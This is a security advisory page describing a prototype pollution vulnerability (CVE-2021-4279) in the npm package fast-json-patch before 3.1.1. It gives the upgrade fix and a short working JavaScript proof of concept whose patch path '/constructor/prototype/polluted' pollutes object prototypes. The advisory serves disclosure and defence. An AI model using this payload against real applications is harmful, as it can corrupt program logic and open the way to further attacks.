Prototype Pollution Affecting fast-json-patch package, versions <3.1.1
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.52% (78th
percentile)
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Test your applications- Snyk ID SNYK-JS-FASTJSONPATCH-3182961
- published 26 Dec 2022
- disclosed 26 Dec 2022
- credit Unknown
Introduced: 26 Dec 2022
CVE-2021-4279 Open this link in a new tabHow to fix?
Upgrade fast-json-patch to version 3.1.1 or higher.
Overview
fast-json-patch is a leaner and meaner implementation of JSON-Patch.
Affected versions of this package are vulnerable to Prototype Pollution via constructor/prototype in fast-json-patch.js.
This is another method to exploit SNYK-JS-FASTJSONPATCH-595663.
PoC
// poc.js
let fastjsonpatch = require("fast-json-patch");
function A() {}
let a = new A();
let b = new A();
console.log("Before : " + a.polluted);
console.log("Before : " + b.polluted);
const patch = [{op: "replace", path: "/constructor/prototype/polluted", value: "Yes! Its Polluted"}];
fastjsonpatch.applyPatch(a, patch);
console.log("After : " + a.polluted);
console.log("After : " + b.polluted);
npm i fast-json-patch # Install affected module
node poc.js # Run the PoC
References
CVSS Scores
version 3.1